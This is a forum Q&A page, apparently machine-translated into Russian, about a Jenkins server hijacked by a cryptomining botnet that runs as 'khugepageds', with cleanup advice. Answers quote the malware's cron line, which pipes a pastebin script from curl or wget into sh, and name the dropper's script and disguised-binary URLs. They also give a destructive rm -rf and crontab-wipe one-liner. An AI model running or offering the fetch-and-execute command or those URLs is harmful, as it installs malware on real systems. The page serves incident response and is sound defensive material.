Jenkins Высокая загрузка ЦП Khugepageds - PullRequest
19 голосов
/ 24 марта 2019

enter image description here

Таким образом, на рисунке выше показана команда khugepageds, которая время от времени использует 98 до 100 % ЦП.

Я попытался выяснить, как jenkins использует эту команду или что с этим делать, но безуспешно.

Я сделал следующее

  • pkill Дженкинс
  • сервис Дженкинс Стоп
  • сервис Дженкинс Старт

Когда я pkill конечно, использование снижается, но после перезапуска снова обратно.

Кто-нибудь имел эту проблему раньше?

Ответы [ 6 ]

19 голосов
/ 27 марта 2019

Итак, мы только что это случилось с нами.Что касается других ответов и некоторых собственных копаний, мы смогли убить, чтобы обработать (и сохранить его уничтоженным), выполнив следующую команду ...

rm -rf /tmp/*; crontab -r -u jenkins; kill -9 PID_OF_khugepageds; crontab -r -u jenkins; rm -rf /tmp/*; reboot -h now;

Обязательно замените PID_OF_khugepagedsс PID на вашей машине.Это также очистит запись в crontab.Запустите все это как одну команду, чтобы процесс не воскресил сам себя.Машина будет перезагружена в соответствии с последней командой.

ПРИМЕЧАНИЕ. Хотя приведенная выше команда должна прервать процесс, вам, вероятно, захочется свернуть / восстановить ваши ключи SSH (на компьютере Jenkins, BitBucket / GitHub и т. Д., Илюбые другие машины, к которым у Дженкинса был доступ) и, возможно, даже запуск нового экземпляра Дженкинса (если у вас есть такая возможность).

10 голосов
/ 10 апреля 2019

Это уязвимость Confluence https://nvd.nist.gov/vuln/detail/CVE-2019-3396, опубликованная 25 марта 2019 года. Она позволяет удаленным злоумышленникам достигать обхода пути и удаленного выполнения кода на сервере Confluence или в центре обработки данных посредством внедрения шаблона на стороне сервера.

Возможное решение

  1. Не запускать Confluence от имени root!
  2. Остановить агент бот-сети: kill -9 $ (cat /tmp/.X11unix);killall -9 khugepageds
  3. Стоп Слияние:/app/bin/stop-confluence.sh
  4. Удалить сломанный crontab: crontab -u-r
  5. Заткнуть дыру, заблокировав доступ к уязвимому пути / rest / tinymce / 1 / macro / preview на внешнем сервере;для nginx это примерно так:
    location /rest/tinymce/1/macro/preview {
        return 403;
    }
Restart Confluence.

Эксплойт

Содержит две части: сценарий оболочки из https://pastebin.com/raw/xmxHzu5P и двоичный файл x86_64 Linux из http://sowcar.com/t6/696/1554470365x2890174166.jpg

Сначала скрипт убивает всех других известных троянских программ / вирусов / агентов ботнетов, загружает и порождает двоичный файл из / tmp / kerberods и перебирает / root / .ssh / known_hosts , пытаясь распространиться самостоятельнок соседним машинам.

Бинарный файл размером 3395072 и датой 5 апреля 16:19 упакован исполняемым упаковщиком LSD (http://lsd.dg.com). Я еще не проверял, что он делает. Похоже на ботнетконтроллер.

10 голосов
/ 27 марта 2019

Да, мы также пострадали от этой уязвимости, благодаря pittss, мы смогли обнаружить немного больше об этом.

Вы должны проверить / var / logs / syslogs для скрипта curl pastebin, который выглядитчтобы запустить кукурузный процесс в системе, он попытается снова расширить доступ к папке / tmp и установить нежелательные пакеты / скрипт.

Вы должны удалить все из папки / tmp, остановить jenkins, проверить процесс cron иудалите те, которые кажутся подозрительными, перезапустите виртуальную машину.

Поскольку указанная выше уязвимость добавляет нежелательный исполняемый файл в / tmp foler, и он пытается получить доступ к виртуальной машине через ssh.Эта уязвимость также добавила процесс cron в вашу систему, остерегайтесь ее также.

Также проверьте папку ~ / .ssh на наличие известных_хостов и авторизованные ключи для любых подозрительных открытых ключей ssh.Атакующий может добавить свои ssh-ключи, чтобы получить доступ к вашей системе.

Надеюсь, это поможет.

6 голосов
/ 26 марта 2019

это похоже на уязвимость.Попробуйте посмотреть syslog (/ var / log / syslog, а не журнал jenkinks) примерно так: CRON (jenkins) CMD ((curl -fsSL https://pastebin.com/raw/***||wget -q -O- https://pastebin.com/raw/***)|sh).

Если это так, попробуйте остановить jenkins, очистить / tmp dir и убить все пиды, запущенные пользователем jenkins.

После того, как использование процессора снизится, попробуйте обновить до последней версии tls jenkins.Далее после запуска jenkins обновите все плагины в jenkins.

0 голосов
/ 15 апреля 2019

В моем случае это приводило к случайному сбою сборок со следующей ошибкой:

Maven JVM неожиданно завершил работу с кодом выхода 137

Мне потребовалось некоторое время, чтобы заплатитьдолжное внимание к процессу Khugepageds, поскольку в каждом месте, где я читал об этой ошибке, данное решение заключалось в увеличении памяти.

Проблема была решена с помощью решения @HeffZilla.

0 голосов
/ 04 апреля 2019

Решение, которое работает, потому что файл cron просто воссоздается, состоит в том, чтобы очистить cronfile Дженкинса, я также изменил владельца и также сделал файл неизменным.

Это, наконец, остановило этот процесс..

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...